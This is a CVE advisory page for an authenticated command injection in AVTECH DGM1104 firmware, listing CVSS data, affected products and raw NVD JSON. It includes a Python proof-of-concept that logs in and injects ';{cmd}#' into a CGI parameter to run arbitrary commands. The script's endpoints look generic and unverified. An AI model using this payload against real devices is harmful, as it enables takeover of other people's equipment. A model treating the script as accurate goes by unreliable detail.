Security Vulnerability Report
中文
CVE-2025-57199 CVSS 8.8 HIGH

CVE-2025-57199

Published: 2025-12-03 16:15:57
Last Modified: 2025-12-23 00:34:58

Description

AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the NetFailDetectD binary. This vulnerability allows attackers to execute arbitrary commands via a crafted input.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:* - NOT VULNERABLE
AVTECH DGM1104 FullImg-1015
AVTECH DGM1104 FullImg-1004
AVTECH DGM1104 FullImg-1006
AVTECH DGM1104 FullImg-1003

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-57199 PoC - AVTECH DGM1104 NetFailDetectD Command Injection Authenticated command injection vulnerability """ import requests import argparse def exploit(target_ip, username, password, cmd="id"): """ Exploit CVE-2025-57199 by injecting arbitrary commands through the NetFailDetectD binary. Args: target_ip: Target device IP address username: Valid credentials for authentication password: Password for the account cmd: Command to execute on the target """ # Authentication endpoint auth_url = f"http://{target_ip}/cgi-bin/login.cgi" # Payload construction - inject command via crafted input # The NetFailDetectD binary processes input without sanitization payload = { "username": username, "password": password } # Login to obtain session session = requests.Session() login_resp = session.post(auth_url, data=payload) if login_resp.status_code != 200: print("[-] Authentication failed") return # Exploit endpoint - NetFailDetectD vulnerable parameter exploit_url = f"http://{target_ip}/cgi-bin/netfaildetected.cgi" # Inject command using shell metacharacters exploit_data = { "action": "check", "target": f";{cmd}#" # Command injection payload } print(f"[*] Sending exploit payload: {exploit_data}") response = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response:\n{response.text}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-57199 PoC") parser.add_argument("-t", "--target", required=True, help="Target IP") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("-c", "--cmd", default="id", help="Command to execute") args = parser.parse_args() exploit(args.target, args.username, args.password, args.cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57199", "sourceIdentifier": "[email protected]", "published": "2025-12-03T16:15:56.807", "lastModified": "2025-12-23T00:34:58.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVTECH SECURITY Corporation DGM1104 FullImg-1015-1004-1006-1003 was discovered to contain an authenticated command injection vulnerability in the NetFailDetectD binary. This vulnerability allows attackers to execute arbitrary commands via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:avtech:dgm1104_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "2EE9FE6D-6B3B-4244-84A6-7CA780064BE4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:avtech:dgm1104:-:*:*:*:*:*:*:*", "matchCriteriaId": "C94DD873-8D0F-4703-A27C-8DBCAE839BBC"}]}]}], "references": [{"url": "http://avtech.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://dgm1104.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/xchg-rax-rax/vulnerability-research/tree/main/CVE-2025-57199", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}